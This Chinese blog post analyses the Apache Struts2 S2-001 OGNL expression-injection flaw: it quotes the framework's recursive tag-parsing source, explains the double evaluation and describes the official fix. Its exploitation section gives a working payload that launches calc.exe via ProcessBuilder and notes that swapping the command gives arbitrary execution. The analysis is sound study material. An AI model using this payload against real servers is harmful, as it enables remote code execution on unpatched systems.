[javaweb]strut2-001漏洞分析

2022/1/16 17:07:00

本文主要是介绍[javaweb]strut2-001漏洞分析,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Strut2-001

漏洞描述

框架解析JSP页面标签时会对用户输入的Value值获取,在获取对应的Value值中递归解析%{、}造成了二次解析,最终触发表达式注入漏洞,执行任意代码

影响版本

2.0.1 ~ 2.0.8

漏洞分析

环境搭建了好久。。。最后看到一篇https://xz.aliyun.com/t/2672#toc-2,才成功,不知道错误在哪儿。最后发现是和tomcat的版本也有关系

建议:环境搭建能搭好即可,不要太深究为什么。不要偏离主线--分析漏洞

Strut2中的数据流向:请求-》filterStack-》action-》view-》Client

  • 首先直接定位到ParametersInterceptor中的doFilter方法
    图片

  • ParametersInterceptor先是建立了一个值栈,并通过setParameters进行储值操作(后门要用,直接从值栈中查)
    图片

  • 经过一系列的拦截器处理后,数据会成功进入实际业务 Action 。程序会根据 Action 处理的结果,选择对应的 JSP 视图进行展示,并对视图中的 Struts2 标签进行处理。如下图,在本例中 Action 处理用户登录失败时会返回 error
    图片

    然后开始对index,jsp中的struts2标签进行处理

    也就是所谓的标签渲染,把其中的标签通过文件解析替换为既定目标语法

    /**
    	TextParseUtil#translateVariables()分析
    */
    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
            // deal with the "pure" expressions first!
            //expression = expression.trim();
            Object result = expression;
    
            while (true) {
                int start = expression.indexOf(open + "{");
                int length = expression.length();
                int x = start + 2;
                int end;
                char c;
                int count = 1;
                while (start != -1 && x < length && count != 0) {
                    c = expression.charAt(x++);
                    if (c == '{') {
                        count++;
                    } else if (c == '}') {
                        count--;
                    }
                }
                end = x - 1;
    
                if ((start != -1) && (end != -1) && (count == 0)) {
                    String var = expression.substring(start + 2, end);
    
                    Object o = stack.findValue(var, asType);
                    if (evaluator != null) {
                    	o = evaluator.evaluate(o);
                    }
                    
    
                    String left = expression.substring(0, start);
                    String right = expression.substring(end + 1);
                    if (o != null) {
                        if (TextUtils.stringSet(left)) {
                            result = left + o;
                        } else {
                            result = o;
                        }
    
                        if (TextUtils.stringSet(right)) {
                            result = result + right;
                        }
    
                        expression = left + o + right;
                    } else {
                        // the variable doesn't exist, so don't display anything
                        result = left + right;
                        expression = left + right;
                    }
                } else {
                    break;
                }
            }
    
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }
    

    上面的函数大概的流程就是先找到%{param},然后提取中间的内容,把%{}左右两边的字符串先截断出来分为left,right,对param进行findValue,找到了就把left+value(param)+right进行重新拼接,如果没有就直接将左右两边进行拼接。这是一个正常的标签处理逻辑(学过编译原理的应该很熟悉)。

    漏洞点:如果传进去的参数值为%{1+1},到了29L: findValue(var, asType),那么此时就会再次进行递归解析(感觉和ssti类似),从而触发Expression Inject

漏洞利用

payload:

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}

将calc.exe替换成其他即可进行任意命令执行

图片

漏洞修复

漏洞形成的原因无非就是递归解析字符串造成的。所以只要不让它递归解析即可。

图片

最后官方给出了上面的修复,也就是限制默认的递归次数,而不是禁止递归。猜想官方应该是为了避免部分情况下还是需要进行递归解析留下了余地吧。



这篇关于[javaweb]strut2-001漏洞分析的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程